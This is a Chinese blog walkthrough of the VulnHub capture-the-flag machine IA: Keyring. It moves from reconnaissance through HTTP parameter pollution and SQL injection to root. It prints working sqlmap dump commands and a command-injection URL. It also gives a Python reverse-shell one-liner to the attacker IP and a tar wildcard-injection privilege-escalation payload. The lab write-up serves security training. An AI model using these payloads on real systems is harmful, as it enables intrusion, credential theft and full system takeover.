渗透练习 Vulnhub靶场 Keyring

本文详细记录了一次针对IA:Keyring靶机的渗透测试过程,包括信息收集、端口扫描、Web渗透、HTTP参数污染理解、SQL注入攻击以及提权等步骤。最终通过HTTP Parameter Pollution (HPP)和SQL注入漏洞获取了管理员权限,并反弹shell,成功解密用户和root的flag。
摘要由CSDN通过智能技术生成

No.26 Keyring

靶机信息

下载地址:

https://www.vulnhub.com/entry/ia-keyring-101,718/

靶场: VulnHub.com

靶机名称: IA: Keyring (1.0.1)

难度: 简单-中等

发布时间: 2021年7月30日

目标: 2个flag

实验环境

攻击机:VMware	kali	192.168.7.3

靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220208234543993

扫描到主机地址为192.168.7.157

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.158 -oN keyring.nmap

image-20220208234655711

扫描到2个开放端口22(SSH)和80(HTTP)

Web渗透

访问80端口

http://192.168.7.158

image-20220208234854811

打开首页是注册帐号页面,注册个帐号登录进去(注册好登录时不要在用户名和密码处填内容,直接点Login按钮会跳转到登录页面再输入帐号密码登录)

image-20220208235630605

image-20220209000240074

登录成功,在control.php页面上看到提示,HPP参数污染

HTTP Parameter Pollution(HPP参数污染)

简单介绍:

​ HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。

HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。

例子:

HttpPar.php的源码如下:

<?php
 $str=$_REQUEST['str'];
 echo $str;
?>

这段代码,接收HTTP参数中str的值,并显示在页面中。我们访问http://www.xxx.com/HttpPar.php?str=hello,显示结果将为hello。
在HTTP请求中,使用&可以连接不同的参数,如:str=hello&id=1。但是此时如果参数重复:str=hello&str=world&str=xxser,那么此时php在取值时只输出最后一个参数,输出则为xxser。这就是HTTP参数污染。

HPP参数污染可以SQL注入和XSS利用,更多被用于绕waf

HPP参数污染简单了解了,便是我们还不知道参数是什么,先做个目录扫描找找其他提示信息

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.158 -x php,html,txt

image-20220209003332574

扫描到一个history.php文件,访问一下

http://192.168.7.158/history.php

image-20220209003727801

打开后是个空白页面,估计这里要加参数才能访问,当退出登录用户再访问这个页面时跳出了提示

image-20220209005937071

提示找不到用户,重新登录用user做参数试试

http://192.168.7.158/history.php?user=user1234

image-20220209014307811

当我用自己注册的用户名来测试时报出一些内容,改成admin试试

http://192.168.7.158/history.php?user=admin

image-20220209015139788

拿到一个链接https://github.com/cyberbot75/keyring

访问是存放网站源码的仓库,在control.php文件中发现system函数可以直接利用,测试一下

image-20220209015750951

http://192.168.7.158/control.php?cmdcntr=id

image-20220209021631583

SQL注入攻击

没有成功,看源码也没有发现问题,又见到HPP参数污染的提示,并且拿到了user参数,去做个sql注入试试

查询库名

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch --dbs

image-20220210001832352

查询表名

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users --tables

image-20220210002015174

查询表内容

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users -T details --dump

image-20220210002148796

查询到管理员帐号admin和密码myadmin#p4szw0r4d,使用admin帐号登录平台并用control.php文件拿到cmdcntr权限

http://192.168.7.158/control.php?cmdcntr=id

image-20220210002639710

成功执行命令,我们反弹个shell到kali攻击机上

kali攻击机监听端口

nc -lvvp 4444

执行payload

http://192.168.7.158/control.php?cmdcntr=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220210003322731

成功反弹shell,让我们找一下提文件,先切换到bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220210070502380

提权

cat /etc/passwd

image-20220210064134687

这里有个john用户,之前sql注入里也有一个john用户试试密码是否相同,切换到john用户密码是Sup3r S 3 c r 3 t S3cr3t S3cr3tPasSW0RD

su john
Sup3r$S3cr3t$PasSW0RD
id

image-20220210064650659

切换john用户成功,这里的lxd可以提权,先进入用户目录看一下

cd /home/john
ls -al

image-20220210064850345

找到user.txt

cat user.txt

image-20220210064930478

还有一个compress程序,看一下是什么文件

file compress

image-20220210065333222

suid,把他下载下来看看内容,靶机开启http服务

python3 -m http.server

image-20220210065548354

kali攻击机下载compress文件,查看文件内容

wget http://192.168.7.158:8000/compress
strings compress

image-20220210070730236

compress会执行tar程序,tar可以利用通配符注入来提权,

payload

echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
id

image-20220210073935471

成功拿到root权限,查看root.txt

cd /root
ls
cat root.txt

image-20220210074112553

拿到root.txt,游戏结束。喜欢打靶的小伙伴可以微信搜索“伏波路上学安全”公众号、或扫描下方二维码关注获取更多打靶文章。
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值